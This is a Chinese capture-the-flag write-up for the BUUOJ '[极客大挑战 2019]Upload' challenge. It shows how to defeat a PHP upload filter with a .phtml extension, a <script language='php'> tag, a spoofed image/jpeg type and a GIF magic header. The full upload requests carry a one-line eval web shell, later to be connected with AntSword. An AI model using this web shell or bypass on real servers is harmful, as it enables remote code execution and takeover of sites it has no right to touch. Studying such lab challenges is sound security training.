[极客大挑战 2019]Upload
题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]Upload
打开环境,如下所示。
通过页面源代码可以发现,该网站系 PHP 架构,因此尝试直接上传一句话木马。
发现提示 "NOT!php!",因此尝试 fuzzing 一下后缀名。
发现网站可以通过了 "phtml" 的后缀名,但是提示文件内容存在字符串 "<?",因此改变文件内容,以其他的形式引入 PHP 代码。
请求包如下。
POST /upload_file.php HTTP/1.1
Host: c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Length: 334
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDI5yLUuOF9usOKnq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="file"; filename="php.phtml"
Content-Type: image/jpeg
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryDI5yLUuOF9usOKnq--
发现网站又提示 "Don't lie to me, it's not image at all!!!",而网站检测一个文件是否为图片的方式有许多种,如:
- Content-Type。
- 文件幻数。
- 文件后缀。
- ...。
这里将 GIF 文件的幻数添加入上传的文件的头部,尝试再次上传,请求包如下。
POST /upload_file.php HTTP/1.1
Host: c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Length: 341
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDI5yLUuOF9usOKnq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c6fdb535-c2ae-466e-844e-5b5c44a8d7d8.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="file"; filename="php.phtml"
Content-Type: image/jpeg
GIF98
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundaryDI5yLUuOF9usOKnq
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryDI5yLUuOF9usOKnq--
发现成功上传。
因此直接使用 AntSword 连接一句话木马即可获得 WebShell(注意,成功上传的文件放置在 /upload 文件夹下)。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具